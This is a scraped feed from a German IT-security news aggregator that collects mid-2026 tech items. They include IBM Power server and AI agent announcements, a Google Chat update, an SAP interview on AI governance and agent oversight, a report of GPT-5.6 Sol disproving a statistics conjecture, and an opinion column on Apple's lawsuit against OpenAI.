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<title><![CDATA[CLaRa: Bridging Retrieval and Generation with Continuous Latent Reasoning]]></title>
<description><![CDATA[Retrieval-augmented generation (RAG) enhances large language models (LLMs) with external knowledge but still suffers from long contexts and disjoint retrieval–generation optimization. In this work, we propose CLaRa (Continuous Latent Reasoning), a unified framework that performs embedding-based c...]]></description>
<link>https://tsecurity.de/de/3671793/ai-nachrichten/clara-bridging-retrieval-and-generation-with-continuous-latent-reasoning/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671793/ai-nachrichten/clara-bridging-retrieval-and-generation-with-continuous-latent-reasoning/</guid>
<pubDate>Wed, 15 Jul 2026 22:18:55 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Retrieval-augmented generation (RAG) enhances large language models (LLMs) with external knowledge but still suffers from long contexts and disjoint retrieval–generation optimization. In this work, we propose CLaRa (Continuous Latent Reasoning), a unified framework that performs embedding-based compression and joint optimization in a shared continuous space. To obtain semantically rich and retrievable compressed vectors, thereby reducing the document length fed into the generator, we introduce SCP, a key-preserving data synthesis framework based on question-answering and paraphrase…]]></content:encoded>
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<title><![CDATA[IBM targets AI edge with Power server, software upgrades]]></title>
<description><![CDATA[IBM has bolstered its Power server portfolio with a new edge S1112 server and announced IBM Power Autonomous Operations, an AI agent that helps customers monitor Power systems and autonomously resolve issues to keep operations running smoothly. Additional software upgrades are aimed at helping cu...]]></description>
<link>https://tsecurity.de/de/3671628/it-security-nachrichten/ibm-targets-ai-edge-with-power-server-software-upgrades/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671628/it-security-nachrichten/ibm-targets-ai-edge-with-power-server-software-upgrades/</guid>
<pubDate>Wed, 15 Jul 2026 20:37:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">IBM has bolstered its <a href="https://www.networkworld.com/article/4018955/ibm-pumps-up-ai-security-for-new-enterprise-power11-server-family.html">Power</a> server portfolio with a new edge S1112 server and announced IBM Power Autonomous Operations, an AI agent that helps customers monitor Power systems and autonomously resolve issues to keep operations running smoothly. Additional software upgrades are aimed at helping customers deploy and manage <a href="https://www.networkworld.com/article/4131660/ibm-research-when-ai-and-quantum-merge.html">AI</a> infrastructure components. </p>



<p class="wp-block-paragraph">“Each announcement addresses a different layer of the enterprise technology stack, from how infrastructure is deployed and managed to how applications are developed, modernized, and optimized,” wrote Brandon Pederson, senior IBM i product manager, in a <a href="https://community.ibm.com/community/user/blogs/brandon-pederson1/2026/07/07/ibm-power-advancing-autonomous-it-ai-ready-infrast">blog post</a> about the new products. “Together, they reinforce a broader direction for IBM Power of helping clients move from manually operated infrastructure toward intelligent, resilient, and AI-assisted systems that are easier to manage, easier to modernize, and ready for new workloads.” </p>



<p class="wp-block-paragraph">The new <a href="https://www.ibm.com/docs/en/announcements/power-s1112-server">IBM Power S1112</a> is a one‑socket Power11 server engineered for IBM i, AIX, and Linux. Aimed at distributed and edge locations, it is Big Blue’s new entry-level i server and is AI‑ready by design, integrating on‑chip Matrix Math Acceleration (MMA) for fast inferencing and other AI‑driven use cases, such as support for AI-assisted decisions, automation, and analytics close to where data is generated and consumed, Pederson stated.</p>



<p class="wp-block-paragraph">The server supports two configurations: a 10-core 3.05 to 4.0 Ghz Power11 Processor in a rack version only, and a 4-core 3.60 to 4.0 Ghz Power11 in rack and tower form factors, IBM stated.</p>



<p class="wp-block-paragraph">“For IBM i clients, Power S1112 is especially important because it expands what entry IBM i environments can do. IBM i P05 clients can run IBM i partitions within the P05 software tier while also using additional system resources for AIX, Linux, VIOS, AI, or open-source workloads on the same server,” Pederson wrote. “This creates a flexible path to consolidate workloads, improve utilization, and support modernization without forcing clients into a larger platform than they need.”</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="683" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;</figure><p class="imageCredit">Thomas Prior for IBM</p></div>



<h3 class="wp-block-heading">Announced: IBM Power Autonomous Operations</h3>



<p class="wp-block-paragraph">On the software side, IBM Power Autonomous Operations offers automation capabilities via an embedded AI agent that offers natural language interactions designed to help customers manage, tune, and streamline their environments without relying on deep domain expertise for every task, Pederson stated.</p>



<p class="wp-block-paragraph">“IBM Power Autonomous Operations is designed to continuously monitor, optimize, protect, and manage Power environments. It combines Power telemetry, AI-powered analytics, automation, and operational workflows into a unified experience that helps IT teams reduce complexity, improve resiliency, and increase productivity,” Pederson wrote. </p>



<p class="wp-block-paragraph">“Rather than simply showing operators what is happening, Power Autonomous Operations is designed to help teams decide what to do next. The platform analyzes system telemetry, identifies risks and optimization opportunities, and provides intelligent recommendations or automated actions to improve performance, resiliency, and operational efficiency,” Pederson wrote.</p>



<h3 class="wp-block-heading">Agentic Engine for IBM i</h3>



<p class="wp-block-paragraph">IBM also issued a <a href="https://community.ibm.com/community/user/blogs/brandon-pederson1/2026/07/07/ibm-power-advancing-autonomous-it-ai-ready-infrast">preview</a> of the Agentic Engine for IBM i, which is aimed at providing greater AI support for Power systems. </p>



<p class="wp-block-paragraph">IBM described the Agentic Engine as a new enablement layer designed to make it easier to adopt native and integrated AI agents into IBM i workloads and business processes. The engine provides the runtime, IBM i Knowledge Pack, observability, extensibility, MCP server, and foundational agents that help teams build trusted agents for IBM i without starting from scratch. Developers can build agents using their preferred coding tools, run them close to Db2 for i data under native IBM i object-level authority, and extend them into broader enterprise workflows through APIs and agent-to-agent integration.</p>



<p class="wp-block-paragraph">With security, governance, and instrumentation built in, the Agentic Engine for IBM i helps organizations manage agent behavior, monitor activity, and support responsible adoption across mission-critical environments, Pederson stated.</p>



<h3 class="wp-block-heading">IBM Bob Premium Package for i</h3>



<p class="wp-block-paragraph">Also in the AI agent vein, IBM announced support for its <a href="https://newsroom.ibm.com/2026-07-09-ibm-advances-enterprise-ai-software-development-with-multi-agent-capabilities-and-specialized-modernization-workflows">Bob AI</a> application development environment for the i system. The idea here is to help customers quickly modernize applications built on RPG and COBOL.</p>



<p class="wp-block-paragraph">“These capabilities help developers explain complex RPG and COBOL programs, convert Fixed-Format RPG to modern Free-Format RPG, refactor monolithic applications into modular structures, generate RPG, CL, COBOL and DDS code, create technical documentation, and produce unit tests to support validation,” Pederson wrote. “Rather than relying on generic prompts and inconsistent results, IBM i teams can use expert-built skills that deliver more predictable, repeatable and higher-quality outcomes. Agentic workflows help guide multi-step development tasks from understanding and planning through implementation and validation, allowing developers to modernize incrementally without losing control.”</p>



<p class="wp-block-paragraph">IBM also added new development features to the core operating system for i with <a href="https://www.ibm.com/docs/en/announcements/i-76-technology-refresh-2-driving-modern-secure-more-accessible-innovation">IBM i 7.6 Technology Refresh 2</a> and i 7.5 Technology Refresh 8 that include a variety of features designed to enhance RPG and COBOL development, security, and hybrid cloud integration.</p>



<p class="wp-block-paragraph">IBM Power S1112 is expected to be generally available on July 24, IBM Power Autonomous Operations is expected to be generally available on September 23, 2026, and IBM Bob Premium Package for i was made generally available on June 24, 2026.</p>
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<title><![CDATA[Black Hat Stories | Shanna Daly, CEO of Torin Cyber Group]]></title>
<description><![CDATA[Author: Black Hat - Bewertung: 1x - Views:9 On this episode of Black Hat Stories, Shanna Daly, CEO of Torin Cyber Group, shares a perspective on the value of Black Hat and its impact on the cybersecurity community.

From technical talks and research presentations to Arsenal demonstrations and ind...]]></description>
<link>https://tsecurity.de/de/3671597/it-security-video/black-hat-stories-shanna-daly-ceo-of-torin-cyber-group/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671597/it-security-video/black-hat-stories-shanna-daly-ceo-of-torin-cyber-group/</guid>
<pubDate>Wed, 15 Jul 2026 20:18:24 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Black Hat - Bewertung: 1x - Views:9 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/kT3jbknQCdc?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>On this episode of Black Hat Stories, Shanna Daly, CEO of Torin Cyber Group, shares a perspective on the value of Black Hat and its impact on the cybersecurity community.<br />
<br />
From technical talks and research presentations to Arsenal demonstrations and industry collaboration, Black Hat creates opportunities to uncover vulnerabilities, share knowledge, and advance cybersecurity defenses. As privacy concerns continue to grow and threat actors remain ahead of the curve, Black Hat serves as a critical forum for researchers and practitioners to exchange ideas and stay one step ahead.<br/></p>]]></content:encoded>
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<title><![CDATA[GPT-5.6 Sol reportedly disproves a 30-year-old statistics conjecture in 90 minutes after humans couldn't crack it]]></title>
<description><![CDATA[A University of Pennsylvania statistics professor used OpenAI's GPT-5.6 Sol Pro to disprove a central open conjecture about the Benjamini-Hochberg method in roughly 90 minutes. The predecessor model, GPT-5.5, couldn't find a solution even after 20 hours. The answer combines known methods in a new...]]></description>
<link>https://tsecurity.de/de/3671543/ai-nachrichten/gpt-56-sol-reportedly-disproves-a-30-year-old-statistics-conjecture-in-90-minutes-after-humans-couldnt-crack-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671543/ai-nachrichten/gpt-56-sol-reportedly-disproves-a-30-year-old-statistics-conjecture-in-90-minutes-after-humans-couldnt-crack-it/</guid>
<pubDate>Wed, 15 Jul 2026 19:48:37 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1376" height="768" src="https://the-decoder.com/wp-content/uploads/2026/07/neural_network_math-2.png" class="attachment-full size-full wp-post-image" alt="" decoding="async" fetchpriority="high"></p>
<p>        A University of Pennsylvania statistics professor used OpenAI's GPT-5.6 Sol Pro to disprove a central open conjecture about the Benjamini-Hochberg method in roughly 90 minutes. The predecessor model, GPT-5.5, couldn't find a solution even after 20 hours. The answer combines known methods in a new way, keeping the bigger question alive: can AI produce genuinely new knowledge, or does it just recombine what it already learned?</p>
<p>The article <a href="https://the-decoder.com/gpt-5-6-sol-reportedly-disproves-a-30-year-old-statistics-conjecture-in-90-minutes-after-humans-couldnt-crack-it/">GPT-5.6 Sol reportedly disproves a 30-year-old statistics conjecture in 90 minutes after humans couldn't crack it</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
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<title><![CDATA[Now available: group conversations with external collaborators in Google Chat]]></title>
<description><![CDATA[For many teams, it’s essential to be able to work in real-time with partners from outside your organization. We’re improving external collaboration in Google Chat by making it possible to create group conversations that include external users.Previously, teams using Google Chat could only create ...]]></description>
<link>https://tsecurity.de/de/3671492/web-tipps/now-available-group-conversations-with-external-collaborators-in-google-chat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671492/web-tipps/now-available-group-conversations-with-external-collaborators-in-google-chat/</guid>
<pubDate>Wed, 15 Jul 2026 19:28:02 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>For many teams, it’s essential to be able to work in real-time with partners from outside your organization. We’re improving external collaboration in Google Chat by making it possible to create group conversations that include external users.</p><p>Previously, teams using Google Chat could only create 1:1 conversations with external users, or create a space in Chat with external access enabled.</p><p>With this update, it’s now possible to create group conversations with multiple external users, reducing friction and streamlining external collaboration. No additional configuration is required, and access for external users is enabled once they accept an invitation through an email notification. Group conversations with external members are labeled with a visible badge to help ensure that users are aware of the context for all conversations in Chat.</p><p><br></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhu6NMFsK1y_ILcyeP2R1BozsLmoPhCZ9zPNIBJ2kvU8W7p_D9Umv5EAAvY8VVZK_EOtEOCbIbGJ-Wv4xBgRYQ-xMATEAkoZqR-1HzUILp-LLmZ_rHbwPSqSRY_F-YaQQ0xsUeZ2wlEiq4R9DZSQm1f0XSJqiQK-X9_PdtU5M40MNvFer3-klFKLlOOW0c/s1600/Now%20available%20group%20conversations%20with%20external%20collaborators%20in%20Google%20Chat%20-%206854.gif"><img border="0" data-original-height="998" data-original-width="1600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhu6NMFsK1y_ILcyeP2R1BozsLmoPhCZ9zPNIBJ2kvU8W7p_D9Umv5EAAvY8VVZK_EOtEOCbIbGJ-Wv4xBgRYQ-xMATEAkoZqR-1HzUILp-LLmZ_rHbwPSqSRY_F-YaQQ0xsUeZ2wlEiq4R9DZSQm1f0XSJqiQK-X9_PdtU5M40MNvFer3-klFKLlOOW0c/s1600/Now%20available%20group%20conversations%20with%20external%20collaborators%20in%20Google%20Chat%20-%206854.gif"></a></div><h3>Getting started</h3><p></p><ul><li><b>Admins: </b>External group DMs share the same admin controls as external spaces. Ensure that the <a href="https://knowledge.workspace.google.com/admin/chat/control-external-chat-and-spaces-chat-options#externalspaces" target="_blank">External spaces &amp; group direct messages admin setting</a> is enabled for your organization to allow users to create or join external group DMs.</li><li><b>End users:</b> If allowed by their admin, end users can add external users when they create a new group DM. External users can’t be added to existing group DMs that only have internal users. External users who are added to group DMs will receive an email invitation and must accept the invitation to participate in the group conversation.</li></ul><p></p><h3>Rollout pace</h3><p></p><ul><li><a href="https://support.google.com/a/answer/172177" target="_blank">Rapid Release domains:</a> Rolling out now, with expected completion by July 17, 2026</li><li><a href="https://support.google.com/a/answer/172177" target="_blank">Scheduled Release domains:</a> Gradual rollout (up to 15 days for feature visibility) starting on July 24, 2026 </li></ul><p></p><h3>Availability</h3><p></p><ul><li>Available to all Google Workspace customers and Workspace Individual subscribers</li></ul><p></p><h3>Resources</h3><p></p><ul><li>Google Chat Help: <a href="https://support.google.com/chat?p=External_gdm#topic=7649316" target="_blank">External group DMs in Google Chat</a></li><li>Google Workspace Admin Help: <a href="https://knowledge.workspace.google.com/admin/chat/control-external-chat-and-spaces-chat-options#externalspaces" target="_blank">Control external Chat &amp; spaces chat options</a></li></ul><p></p>]]></content:encoded>
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<title><![CDATA[OpenAI's First Hardware Device May Be a Screenless AI Speaker: Here’s What We Know]]></title>
<description><![CDATA[OpenAI’s first device could be a portable, screenless AI speaker with a camera, sensors, moving parts, and deep ChatGPT integration.]]></description>
<link>https://tsecurity.de/de/3671371/it-nachrichten/openais-first-hardware-device-may-be-a-screenless-ai-speaker-heres-what-we-know/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671371/it-nachrichten/openais-first-hardware-device-may-be-a-screenless-ai-speaker-heres-what-we-know/</guid>
<pubDate>Wed, 15 Jul 2026 18:34:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<title><![CDATA[Anker's compact Solix S2000 home backup battery is 50% off and can run your fridge for 35 hours]]></title>
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<link>https://tsecurity.de/de/3671342/it-nachrichten/ankers-compact-solix-s2000-home-backup-battery-is-50-off-and-can-run-your-fridge-for-35-hours/</link>
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<pubDate>Wed, 15 Jul 2026 18:33:54 +0200</pubDate>
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<title><![CDATA[AI is paying off, but governance is lagging behind]]></title>
<description><![CDATA[Enterprises are facing two simultaneous challenges with AI: The risks associated with it are evolving faster than governance frameworks, while the business benefits are often difficult to measure.



This is one of the key findings of The Value of AI, a study commissioned by SAP from Oxford Econo...]]></description>
<link>https://tsecurity.de/de/3671333/it-nachrichten/ai-is-paying-off-but-governance-is-lagging-behind/</link>
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<pubDate>Wed, 15 Jul 2026 18:33:43 +0200</pubDate>
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<p class="wp-block-paragraph">Enterprises are facing two simultaneous challenges with AI: The risks associated with it are evolving faster than governance frameworks, while the business benefits are often difficult to measure.</p>



<p class="wp-block-paragraph">This is one of the key findings of <a href="https://www.sap.com/documents/2026/07/92b94d7d-5a7f-0010-bca6-c68f7e60039b.html" target="_blank" rel="noreferrer noopener">The Value of AI</a>, a study commissioned by SAP from Oxford Economics. Now in its second year, the study surveyed 2,600 executives from 13 countries worldwide.</p>



<h2 class="wp-block-heading">High expectations, limited preparation</h2>



<p class="wp-block-paragraph">On average, the enterprises surveyed plan to spend around $28 million on AI (up from $26.7 million last year), and expect a 21% ROI (from 16% last year). Expectations for AI agents are particularly high, with ROI expected to reach 17% this year, up from 10% last year. Furthermore, 83% of respondents worldwide said agentic AI has the potential to fundamentally transform their organization. On the other hand, only 3% of respondents said their enterprises were fully prepared for the deployment of AI agents.</p>



<p class="wp-block-paragraph">There are gaps, particularly when it comes to governance:</p>



<ul class="wp-block-list">
<li>Only 12% of respondents said their skills or processes were able to govern AI effectively,</li>



<li>38% do not have human-in-the-loop processes in place for oversight of AI agents, and</li>



<li>only 63% have established permissions and access controls for agents.</li>
</ul>



<p class="wp-block-paragraph">Other concerns include weaknesses in the organization of AI deployment, poor data quality, insufficient employee training, and the widespread use of shadow AI.</p>



<h2 class="wp-block-heading">Governance is the bigger challenge</h2>


<div class="extendedBlock-wrapper block-coreImage right"><figure class="wp-block-image alignright size-large is-resized"> width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption">Sean Kask, Chief AI Strategy Officer at SAP </figcaption></figure><p class="imageCredit">SAP</p></div>



<p class="wp-block-paragraph">In an interview, <a href="https://www.linkedin.com/in/seankask/" target="_blank" rel="noreferrer noopener">Sean Kask</a>, Chief AI Strategy Officer at SAP, commented on the study’s key findings.</p>



<p class="wp-block-paragraph"><em>Mr. Kask, in the study’s foreword, you write that companies are currently facing two challenges simultaneously: The risks associated with AI are evolving faster than governance, while the business benefits are often difficult to measure. Which of these poses the greater problem for companies?</em></p>



<p class="wp-block-paragraph"><strong>Sean Kask:</strong> Measuring the business value of IT investments has never been easy. The same applies to AI. That’s why I currently consider the governance issue to be the greater challenge. While traditional governance principles and best practices for secure software development remain important even in the age of large language models and agent-based AI, entirely new risks are emerging at the same time.</p>



<p class="wp-block-paragraph">For example, as soon as companies roll out AI on a broad scale, they suddenly discover hundreds or even thousands of so-called shadow agents that employees are using without central oversight. Or they find that a significant portion of the workforce is copying content into private ChatGPT accounts. Such risks often only become apparent once AI is already being used productively.</p>



<p class="wp-block-paragraph"><em>According to your study, German companies invest an average of nearly $40 million in AI, more than companies in all other countries surveyed. Why is that?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> I was less surprised by the amount of investment than by the fact that, overall, the level of investment and the return on investment achieved have developed very similarly across the various countries. There’s no clear answer as to why Germany invests more. In part, it’s likely simply because costs here are higher than in India, for example.</p>



<p class="wp-block-paragraph">However, we’re also seeing a high level of AI adoption among German companies. SAP has a dashboard that allows us to track how our customers are using AI features. Germany is among the countries with particularly high usage. Added to this are the strong industrial base and the political impetus from Europe, which are driving the use of AI. Accordingly, companies there are making targeted investments in building the necessary expertise.</p>



<p class="wp-block-paragraph"><em>According to the study, 47% of German companies are satisfied with the return on investment from their AI investments. At the same time, 77% say they are still far from realizing AI’s full potential. Isn’t that a contradiction?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> No, we see this pattern worldwide. Companies initially invest in a few AI use cases and realize: This works; we’re creating added value. Accordingly, they’re satisfied with their investment.</p>



<p class="wp-block-paragraph">But this is precisely what leads them to identify further use cases. They explore AI agents and want to utilize them as well. However, it is exactly at this point that many encounter new challenges in implementation and scaling.</p>



<p class="wp-block-paragraph">The study therefore primarily highlights a learning curve: The more experience companies gain with AI, the greater their awareness of its previously untapped potential becomes.</p>



<p class="wp-block-paragraph"><em>According to the study, only 33% of companies surveyed have KPIs at the executive board level that are directly linked to the implementation of AI. In your view, which metrics should supervisory boards and CEOs definitely be tracking?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> For us, a key indicator is employee enablement. How many employees have already successfully completed training or upskilling programs related to AI? Without the appropriate skills, AI adoption will fall short of its potential.</p>



<p class="wp-block-paragraph">Transparency is equally important. Companies should know which AI agents are actually in use within their landscape. SAP offers the SAP AI Agent Hub for this purpose, which automatically discovers and inventories agents from SAP and third-party environments. Customers have already been able to identify thousands of agents this way, which highlights the need for centralized governance and transparency.</p>



<p class="wp-block-paragraph">In addition, companies should have a complete overview of all AI use cases. A robust business case should be in place for each use case. We often see two extremes: Either the executive board is under pressure to implement AI as quickly as possible and allocates a lump-sum budget for this purpose. Or management initially takes a wait-and-see approach. This leads to independent pilot projects springing up throughout the company, with individual departments procuring their own tools and entering into their own contracts.</p>



<p class="wp-block-paragraph">At SAP, we therefore follow a clearly structured selection process. Each idea first undergoes an assessment of its expected business value. We then examine technical feasibility, data availability, and ethical and governance aspects. From management’s perspective, it is crucial to maintain transparency regarding all ongoing AI projects at all times and to consistently prioritize them based on their business value.</p>



<h2 class="wp-block-heading">Agents, too, need a ‘hire-to-retire’ lifecycle</h2>



<p class="wp-block-paragraph"><em>Even with the introduction of dozens or even hundreds of AI agents, governance becomes increasingly complex. What capabilities do enterprise platforms need to manage AI agents securely and in a controlled manner at scale?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> We make a conscious effort not to anthropomorphize AI too much. Nevertheless, the analogy is helpful: Agents require a complete hire-to-retire lifecycle. This begins with the detection and registration of an agent. It is then integrated into the enterprise environment, granted the necessary permissions, and given access to the data sources it needs to perform its tasks.</p>



<p class="wp-block-paragraph">Observability is just as important. Companies must be able to track what an agent is actually doing in the system at all times. In addition, they should track key performance indicators: Is the agent achieving the desired results? How efficiently is it working? How many tokens does it consume? How many processing steps does it require for a task?</p>



<p class="wp-block-paragraph">Ultimately, this involves several key components: a complete inventory of all agents, appropriate governance, risk, and compliance (GRC) mechanisms, transparency regarding agent behavior, and continuous monitoring. This is the only way to ensure that AI agents consistently operate within defined parameters and deliver the desired business value.</p>



<p class="wp-block-paragraph"><em>In your estimation, which business processes will companies actually delegate entirely to AI agents over the next two to three years?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> Currently, such agents work particularly well in clearly defined use cases. SAP will release more than 50 (currently 34) specialized AI agents.</p>



<p class="wp-block-paragraph">One example is periodic financial reporting. In this context, journal entries must be made based on numerous rules stored in documents, emails, or previous transactions. The agent analyzes these various sources of information, derives a recommendation from them, and suggests the appropriate journal entry to the user.</p>



<p class="wp-block-paragraph">Based on what we’ve heard from customer projects, employees at medium-sized companies currently spend about twelve hours per month on these tasks. With the help of an AI agent, this effort can be reduced to two to three hours.</p>



<p class="wp-block-paragraph">Another area of application is production planning. If delivery dates change or new orders come in at short notice, the entire production plan must be adjusted. It is precisely these kinds of complex optimization tasks that are ideally suited for AI agents.</p>



<p class="wp-block-paragraph">In principle, there are virtually no limits to the narrowly defined business processes in which agents can be deployed. However, they will not operate completely autonomously at first.</p>



<h2 class="wp-block-heading">Trust in AI begins with a stable foundation</h2>



<p class="wp-block-paragraph"><em>Many companies still struggle to trust AI agents. After all, large language models operate probabilistically and can produce false information. This is particularly problematic in financial processes. How do you build trust?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> Trust begins with a stable foundation. ERP systems remain the reliable system of record. They operate deterministically, contain the business logic, and hold the relevant company data. AI agents build upon this foundation. They do not replace it.</p>



<p class="wp-block-paragraph">Equally important is the human-in-the-loop principle. Employees must be able to understand what the agent is doing, verify its results, and intervene if necessary. That’s why employee training also plays a crucial role. They must understand how generative AI works and where its limitations lie.</p>



<p class="wp-block-paragraph">Of course, language models can hallucinate. At the same time, we must not forget that humans are not infallible either. The key lies in the collaboration between humans and AI. This allows us to improve both the efficiency and the quality of many business processes.</p>



<p class="wp-block-paragraph">Another important component is transparency. Our global AI ethics policy, for example, stipulates that users must always be able to recognize when AI is involved. In Joule, it’s possible to trace which data sources the agent used and which steps it went through in reaching its decision. This traceability is an essential prerequisite for trust.</p>



<p class="wp-block-paragraph"><em>What distinguishes an SAP agent from a general AI agent that merely accesses an ERP system?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> The key difference is that Joule and the SAP agents are directly embedded in the ERP system. There, for example, we’ve built a knowledge graph that describes the semantic relationships between all tables, business objects, and data fields.</p>



<p class="wp-block-paragraph">To put this into perspective: The SAP S/4HANA Knowledge Graph is based on approximately 452,000 ABAP tables, 7.3 million data fields, and thousands of analytical views. The semantic relationships between these artifacts are modeled in the Knowledge Graph and made available for AI applications.</p>



<p class="wp-block-paragraph">For example, if a user wants to view all open purchase orders, the agent does not first have to laboriously search for the relevant information. It immediately knows which tables and objects are relevant and also understands the relationships between a purchase order, a purchase requisition, the responsible approvers, and other business objects. As a result, the agent not only works much more precisely but also requires significantly fewer tokens because it can greatly narrow down the search space.</p>



<p class="wp-block-paragraph">If, instead, one attempts to simply overlay AI onto an existing system or extract data from a relational ERP system, many of these relationships are lost. In a sense, this destroys the semantic context that is crucial for precise answers.</p>



<p class="wp-block-paragraph">That is why we view the ERP system as an enormous strategic advantage. It has been the system of record for decades and contains roughly 50 years of codified business and process knowledge. This knowledge forms the foundation for what we call the <a href="https://www.cio.com/article/4170465/saps-biggest-ai-bet-yet-agents-that-execute-not-just-assist.html">autonomous enterprise</a>. The agents build upon this knowledge and continue to develop it.</p>



<p class="wp-block-paragraph">In the future, SAP agents will also communicate bidirectionally with agents from other providers via standards such as Agent-to-Agent (A2A).</p>



<p class="wp-block-paragraph"><em>According to your study, AI currently creates the greatest added value in decision-making, customer interaction, and gaining new insights, rather than in traditional productivity gains. Will this change the way companies justify AI investments in the future?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> In our study, productivity was simply rated slightly lower than, for example, gaining new insights. In the long term, however, productivity remains the ultimate goal. Europe, in particular, has been suffering from comparatively weak productivity growth for years.</p>



<p class="wp-block-paragraph">At SAP, we therefore first evaluate every new AI feature based on its specific business value. For all agents and AI features that we include in our AI Feature Catalog, we first conduct a value analysis. We ask: What benefit does the feature offer the user? Does it contribute to higher revenue? Does it increase productivity? Only then is it developed further.</p>



<p class="wp-block-paragraph">At the moment, the greatest added value often still lies in consolidating information from structured and unstructured data sources and making it accessible via natural language. The next step, however, is to translate these insights directly into more efficient business processes. That is precisely where the greatest productivity gains will be realized in the future.</p>



<blockquote class="wp-block-quote is-style-plain is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><em>If you could give CIOs just one or two pieces of advice for the transition from generative AI to AI agents, what would they be?</em></p>
</blockquote>



<p class="wp-block-paragraph"><strong>Kask:</strong> In my view, the biggest mistake would be to try to transform the entire company all at once or to attempt to perfectly prepare all the data right from the start.</p>



<p class="wp-block-paragraph">Instead, you should consider what kind of agent can create significant added value, and then implement it. Of course, this agent needs access to consistent and context-rich enterprise data. That’s exactly what we’re working on at SAP with technologies like the knowledge graph, which maps the semantic relationships within enterprise data.</p>



<p class="wp-block-paragraph">In addition, with data products and the SAP Business Data Cloud, we provide tools that make data from various sources usable for AI agents. Thanks to zero-copy and data fabric approaches, information from legacy systems, Snowflake, or ERP systems can be consolidated without first having to extensively replicate the data. For a procurement agent, this makes it possible to provide exactly the relevant data for the specific use case.</p>



<p class="wp-block-paragraph">The key point is this: Companies do not have to wait until they have fully migrated to the cloud or consolidated their entire data landscape. With the technologies available today, data can already be made usable for specific AI agents, managed in a controlled manner, and used to quickly generate initial business value. On the other hand, those who wait for the perfect starting point run the risk of falling behind.</p>



<p class="wp-block-paragraph"><em>This article is adapted from one first published by Computerwoche.</em></p>



<hr class="wp-block-separator has-alpha-channel-opacity">



<p class="wp-block-paragraph"><a></a></p>
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<title><![CDATA[Apple’s OpenAI lawsuit: The lunacy of trying to limit what ex-employees can tell future employers]]></title>
<description><![CDATA[When Apple sued OpenAI last week, the argument it made was that former employees had stolen Apple data and then used it to benefit OpenAI. 



The technical details — an employee used “a rare, previously unknown authentication bug to access Apple’s shared network folders” — are interesting. But t...]]></description>
<link>https://tsecurity.de/de/3671252/it-nachrichten/apples-openai-lawsuit-the-lunacy-of-trying-to-limit-what-ex-employees-can-tell-future-employers/</link>
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<pubDate>Wed, 15 Jul 2026 18:03:48 +0200</pubDate>
<category>📰 IT Nachrichten</category>
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<p class="wp-block-paragraph">When <a href="https://www.computerworld.com/article/4195828/rotten-to-its-core-apple-files-an-explosive-lawsuit-against-openai.html">Apple sued OpenAI last week</a>, the argument it made was that former employees had stolen Apple data and then used it to benefit OpenAI. </p>



<p class="wp-block-paragraph">The technical details — an employee used “a rare, previously unknown authentication bug to access Apple’s shared network folders” — are interesting. But the larger story is Apple’s ridiculous attempt to stop its people from using anything they learned at Apple in other jobs.</p>



<p class="wp-block-paragraph">“Hiring managers don’t mind some files being brought into the org during onboarding, but suddenly take umbrage when that same employee exits with some files later on,” said <a href="https://www.linkedin.com/in/eclectiqus/" target="_blank" rel="noreferrer noopener">Mike Wilkes</a>, enterprise CISO at Aikido Security. “Legal should be equally concerned about both events.”</p>



<p class="wp-block-paragraph">The lawsuit focused on Chang Liu, an employee who had been recruited to work at OpenAI after working at Apple for eight years as a Senior System Electrical Engineer. The <a href="https://storage.courtlistener.com/recap/gov.uscourts.cand.474095/gov.uscourts.cand.474095.1.0.pdf">full text of the filing</a> depicts a comedy of errors by Apple, offering the perfect “do not do” list of handling employee resignations — especially when they’re going to a direct competitor. </p>



<p class="wp-block-paragraph">“When Apple contacted Mr. Liu to sign Apple’s confidentiality reminder, schedule an exit interview, and confirm that he had returned his devices and complied with other exit procedures, Mr. Liu did not respond.” And “after leaving Apple, Mr. Liu failed to return an Apple-issued work laptop that he had previously authenticated to Apple’s network.”</p>



<p class="wp-block-paragraph">First, typical procedure for handling departures is to tie the return of all equipment and the signing of documents to any final payments. With Apple, that is likely to be a large amount of money. The lawsuit does not say whether Apple exerted any financial pressure on their employee for compliance. </p>



